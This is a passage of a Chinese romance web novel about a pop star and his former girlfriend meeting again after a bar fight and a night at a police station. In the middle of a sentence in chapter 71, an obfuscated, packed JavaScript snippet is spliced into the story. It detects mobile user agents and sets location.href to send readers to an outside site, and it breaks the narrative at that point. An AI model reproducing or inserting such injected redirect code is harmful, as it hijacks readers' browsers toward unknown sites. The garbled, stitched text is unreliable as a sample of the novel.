江羽终于松开了钳制,将手里的半截酒瓶一撂,摔在地上,一片碎玻璃渣。 他劈手夺过那个盒子,看也不看,丢进了旁边盛满了酒的杯子里。 几滴金黄的酒液飞溅出来,那枚小巧的黑盒沿着杯壁,缓缓沉了底,咕噜噜地吐着浅黄色的气泡。 * 一架红眼航班自帝都悄然起飞,降落在江城机场的时候,已经是午夜时分。 裴一舟拉着箱子走出航站楼,抬头望了一眼这久违的江城夜空。 领带早已经扯了下来,塞进上衣口袋,鼓鼓囊囊的一团。坐这么晚的航班,他是为数不多一身正装的人。 接机口只有零星几个等客的出租车司机。 好在他对这个机场颇为熟悉,绕过人行道,往停车场深处多走了几步,这才看到坐在车前盖上、一脸沮丧的祁小公子。 裴一舟笑了一下,正要上前,防窥车窗忽然降了下来,陈嘉与从车厢里冒出头,不耐烦地问:“你哥到底什么时候到?” 祁星一口吐出嘴里的口香糖:“别催了,我哥出现的时候,就是我命结束之时!” 陈嘉与皱起眉,这也等太久了吧? 实在无聊得很,陈嘉与歪靠在后座上,有一搭没一搭地和祁星聊天。 “诶,你说你,好歹也是个富二代,怎么给江羽这厮当起助理了?” “你懂什么。”祁星默默翻了个白眼,“助理只是表象,实则我是羽哥的徒弟。我的梦想是当音乐人,不是当企业家。” “呵,就你?你一不学无术、整天花天酒地的少爷,不去当情圣,改当音乐人了?” 祁星戳着酸疼的太阳穴,感觉今晚喝下去的酒精又重新上了头:“谢谢您,好汉不提当年矬!” “本性难移。”陈嘉与很是不屑,想了想,还是好心劝他,“想学就换个人吧,别跟江羽,他那种纯粹的天赋派,不是你能模仿的类型。” 祁星无视他的提醒,冷哼道:“我羽哥和你这种半吊子可不一样!给他当徒弟,学到的全是创作的精髓,没那么多花里胡哨!” “说谁半吊子呢?”陈嘉与的声音一下子拔高了好几度,炸毛了一般,“小爷我出道就是实力派!啧,就你这鉴赏功力,我看你再学一万年也出不了徒,早晚回家继承家业!” 祁星不服气:“那也比你强!有你哥在,你连家业也没得继承!” 陈嘉与环着胳膊,一边劝自己莫跟傻逼置气,一边不阴不阳地说:“现如今,圈子里谁不知道,风盛有位裴律啊?祁总对他,那是走到哪儿带到哪儿,风盛的大项目,哪个不经过他的手?人家只比你大两岁,有这么个权臣在,你个无兵无卒的空壳太子,真以为能坐得稳江山?” 这下,祁星居然不说话了。 陈嘉与等了半天,也没等来这小子的一句反驳,好奇地探出脑袋:“喂,生气了?” 祁星依旧坐在车前盖上,脑袋耷拉着,拖着一头卷毛,像一只无精打采的鹌鹑。 陈嘉与叹口气,刚想出声安慰他一下,听了半天墙角的裴一舟这才从柱子后面现了身,笑眯眯地出现在二人眼前。 祁星看到他,先是一愣,接着就像看见了主心骨,从车前盖上跳下来,朝着人飞奔而去。 “裴哥!怎么是你?” 裴一舟揽过他的肩膀,往车子的方向走:“祁总有要事走不开,这点小事,我来就行。” 祁星苦笑:“他肯定在想,我这个不争气的弟弟又给他惹祸了。” “你还挺会替人背锅。”裴一舟摘下眼镜,有些疲惫地捏了捏鼻梁,“走,带我去见见那个抢人东西、动手打人、打完了也没清场,导致现在热搜满天飞的惹祸专业户吧。” 71. 71 程霏霏从街道派出所那栋三层小楼里出来的时候,已经是后半夜了。 周围的店铺都已经关了,只有身后的办公楼里透出彻夜加班的光亮。 程霏霏活动着酸麻的肩颈,觉得自己最近大概水逆,居然被没素质的客人连累,一锅端地进了局子,真是要多倒霉、有多倒霉。 从包里掏出手机,锁屏上显示着一大串未接来电。其中,任可心的夺命连环call居然有十几个。 程霏霏觉得纳闷,刚想回个电话,黑暗的角落里,忽地响起打火机清脆又短促的声音。 “叮——” 这响声好似擦着程霏霏的耳边飞过来,伴随着幽微的小火苗,薄薄烟雾后,亮起一抹眼熟的轮廓。 程霏霏吓了一跳,本能地要惊叫出声,却在看清那道轮廓时,将喊声全数咽回了嗓子眼。 很巧,正是那位“没素质的客人”。 江羽双手插兜,靠在一根粗大的树干上,嘴上叼着的香烟在夜风中明明灭灭。 更深露重,空气里的潮意令他嚣张的发梢软塌下来,松松地垂在耳侧,露出一截白生生的下巴。 他看上去有点百无聊赖,似乎在等什么人。 程霏霏却满脑袋都在想——他什么时候,学会抽烟了? 还有刚才擦肩而过的时候,他身上凛冽的酒气……他从什么时候,开始喝酒了? 不知为什么,在这样诡异又局促的时刻,那黑暗中的星点火光,竟然令程霏霏联想起很多很多年前的某个清晨—— 浅金色的阳光钻进窗帘的缝隙,洒在她的眼睛上。程霏霏不耐地睁开眼,看见江羽正趴在枕头上看她。 他眉眼生动,发梢有点乱,见她醒了,忽然探身上前,亲在她的嘴角:“早安,女朋友。” 那个吻是那样清新,如同夏日草叶上最新鲜的露水。 程霏霏舔了舔嘴唇,眼睛里闪过贪婪的笑意。伸出胳膊,箍着他的脖子靠近,深入地品尝起来。 那种干净的、纤尘不染的味道,就像最清新的阳光,最温柔的朝露,是生活自律、不沾烟酒的年轻男孩才会有的甘洌和澄净。 程霏霏亲完人,美得如坠梦中,迷迷糊糊地感叹:“我男朋友好甜呀……” …… 程霏霏望着漆黑的地面,无声地笑了一下。 那笑容苦兮兮的,难看得很,幸亏此刻光线昏暗,没人看得清。 她从回忆里抽回思绪,悄然转过身,想要离开——既然不知道该说什么,就什么也别说得好。 黑暗中,倚树而立的江羽忽然出声:“男朋友?” “什么?”程霏霏惊讶地回过头。 江羽一抬下巴,指了指前方大门的位置。 程霏霏顺着他的目光看过去,只见那个相亲对象,王旭升,此刻正站在派出所的门外,伸着脖子向里张望。 他的车停在正门口,引得保安亭里的值班大爷探出头来,不满地絮絮叨叨。 程霏霏有点无奈——这家伙怎么来了? “跟了一晚上了,看样子,挺担心你。”江羽慵懒的声音从后方传来。 说话时,零星火光随着他的动作轻轻晃动着,显得格外随意:“人不坏,就是怂了点。” “……什么意思?” “事后英雄,不适合你。”江羽叼着烟,微微一笑。 那笑容有点轻佻,带着事不关己的调侃和旁观者的逗趣儿,令程霏霏觉得刺目。 她忽然有点动怒,忍不住回呛:“这种老实男人,才能给女人安全感。不像有的人,一把年岁了还幼稚得很,一言不合就动手。” 江羽的气息一顿,少倾,很轻地笑了一声:“你在怪我打架?” “我可没那个资格。”程霏霏傲娇地一扭头,动作刻意地撩了撩头发。 “我只是个普通的生意人罢了,人微言轻,哪里敢管客人的闲事?毕竟……”程霏霏的声音低了下去,“连女朋友都管不了的人,旁人就更说不上话!” 薄薄的烟雾缓缓扩散出来,挡住了江羽的眉眼。 他似乎浑不在意地抬了抬嘴角,正要说话,程霏霏却倒豆子一样地继续埋怨起来:“好好一个包场,直接变成了砸场。警察一来,我作为老板,明明什么也不知道,大半夜的还要跟过来接受批评教育。回到店里呢,又要整顿环境,又要安抚人心。啊,还有那些弄坏的东西,你猜,要不要费力气处理的?有些人,在公共场合不知检点,给人拍到了丑事还做贼心虚,动动手是爽了,可还不是要劳烦别人跟着收拾烂摊子!” 程霏霏一口气骂完,这才感觉胸中堵了一晚上的郁气稍微散出来些许。 她刻意地斜了斜眼,只见那点微弱的星火不知什么时候已经灭了。 江羽依旧靠着树干,目光微垂着,安静地听完这通带着火气的宣泄。之前那种轻松愉悦的笑意已经不见了,他的面容显得有些沉肃。 觉察到程霏霏的目光,江羽拿出手机,随意按了几下,亮出一个添加好友的二维码。 他把手机屏幕往前一送,语气带着认真:“抱歉,酒吧所有的损失,我都会承担。” 程霏霏斜睨着那个二维码,面上火气依旧旺盛,可心底里那点勃然不悦的怒意,忽然一下就散了。 行叭,看在他勇于承担责任、且认错态度良好的份上…… 并没有意识到,自己的唇角已经忍不住悄然上扬。 程霏霏清了清嗓子,矜持了几秒,才慢悠悠地掏出自己的手机,点开微信,“叮”一声扫了码,发送好友申请。 这个微信头像看着有点陌生,程霏霏忍不住问:“以前的微信,你不用了?” “嗯。”江羽已经将手机收了回去,老神在在地倚靠着树干,开始闭目养神。 过了一会儿,还是没有收到好友通过的提示,程霏霏催促道:“你怎么不通过啊?” 江羽撩开眼皮,淡漠地注视着前方:“又不是我的微信。赔偿的事,你联系我助理。” 程霏霏:“……” 敢情她刚刚添加的,是他什么助理的微信? 程霏霏感到出离愤怒了,忽然就能够理解,为什么人有时候要靠拳头解决问题! 就在她几欲发飙的当口,王旭升终于甩开了保安大爷的纠缠,成功进了大门,老远就看到了树下的程霏霏。 “程小姐——”他招了招手,小跑着过来。 程霏霏不得不用尽二十多年积攒下的修养,强行压下想要暴揍江羽的冲动,转过头,冲王旭升露出一个咬牙切齿的微笑:“王先生怎么来了?” 王旭升被这个笑容看得一哆嗦,顿了顿,才殷勤道:“我看你连饭都没吃完,就急匆匆走了,担心出了什么事,便一直在Look门口等着,结果看到你上了警车。这么晚了,你一个女孩子独自不安全,我送你回去吧?” 程霏霏勉强弯了下嘴角,正要回绝,身后,树下的那人却冷不丁一笑:“用什么送?” 王旭升愣了愣,下意识回头,只见派出所门口不知什么时候来了一辆大型拖车,闪着黄色的警示灯,轰鸣作业着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803535|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。拖钩的另一端,正是他那辆违停的小轿车! 他嗷呜一声,立刻飞奔着追拖车去了。 江羽毫不掩饰地笑出了声。 程霏霏脸上有点挂不住,虽然这个王旭升和自己没有半毛钱关系,却莫名令她感到尴尬。 她不想继续同江羽纠缠了,什么话也没说,抬脚就要走。 “我送你。”江羽忽然出声。 程霏霏停下脚步,没有回头,别扭的背影透露出强烈的不高兴。 她提着一口气,阴阳怪气地答:“您可是当红大明星,贵人事忙的,送人这种小事,哪敢劳烦江先生亲自——” 却听到江羽在身后打电话:“祁星,你过来送程小姐一趟。” 程霏霏:“……” 她猛地转过身,大声喝道:“不用麻烦了!我自己可以回去!” 程霏霏头也不回地跑出了派出所的大门,招手拦下一辆夜间的士,一溜烟消失在了街角。 * 进了家门,蹬掉鞋子,程霏霏从玄关的五斗柜翻出一枚钥匙,冲向走廊最深处的房间,将门锁几下扭开,猛地一推。 实木门板大力撞向墙角,发出一声钝响。 她像一只怒气冲冲的河豚,旋风般冲进去,抱起房间中央的人型立牌,不管不顾地奋力砸到墙上。 立牌撞到墙面,发出一阵摩擦的轻响,又轻飘飘地落回到地板上。 程霏霏觉得不够,又重新拎起来,再次狠狠一砸—— “江羽,你个混蛋,我讨厌你!” 立牌终于承受不住愤怒的撞击,脑壳已经弯了下去,只剩最后一缕泡沫纤维摇摇欲坠地连着。立牌脸上万年不变的笑容还是一如既往的灿烂,透露出一丝诡异的荒诞。 那笑容落在程霏霏眼中,和今晚树影里的调笑一样刺眼。 她突然挥起胳膊,一拳砸在立牌的脸上,硬生生地将纸板戳了个洞。 碍眼的笑容终于消失了。 程霏霏一屁股坐在地板上,这才发觉自己脑门上全是汗,身上的衣服歪七扭八,像是刚刚结束一场格斗。 她抹了一把脸颊上的汗水,撑着膝盖起身。 房间很空,满地七零八落的塑料泡沫随着微弱的气流轻轻浮动,中间一个打穿了脸的歪脖子立牌扭曲地躺在地上。 七年了,三个立牌倒得倒、坏得坏,如今,只剩下这最后一个,被她关在暗无天日的房间里,度过了数不清的日与夜。 怎么也没有想到,最终,竟然是被她亲手砸烂的。 程霏霏走到窗台前,一把推开窗户。 后半夜潮湿的风灌了进来,房间里长久滞闷的空气再度开始流动。 她安静地伫立在窗前,默默地想,程霏霏,你究竟在期待些什么呢? 他已经和你没有任何关系了。七年岁月流转,曲终人散,彼此的生活轨迹和现状俱都大相径庭,再怎么礼貌冷淡的疏远,都是最寻常不过的事,何况…… 程霏霏低下头,鼻尖一丝酸胀缓缓蔓延,洇红了眼角。 何况,他早就有别人了。 胸腔里像钻进了一阵干枯的风,卷着经年的碎石和砂砾,刮擦着她的心口,疼得人直想落泪。 月光如昔,穿过云层照进来,抚在她轻轻颤栗的肩头。不远的玄关处,一口黑色的小牛皮包大喇喇地横在地面上,正是她今天背出门的那一只。 包口洞开着,露出半截粉壳手机,屏幕忽地一亮,蹦出一条微信提示—— “祁星”已通过您的好友申请。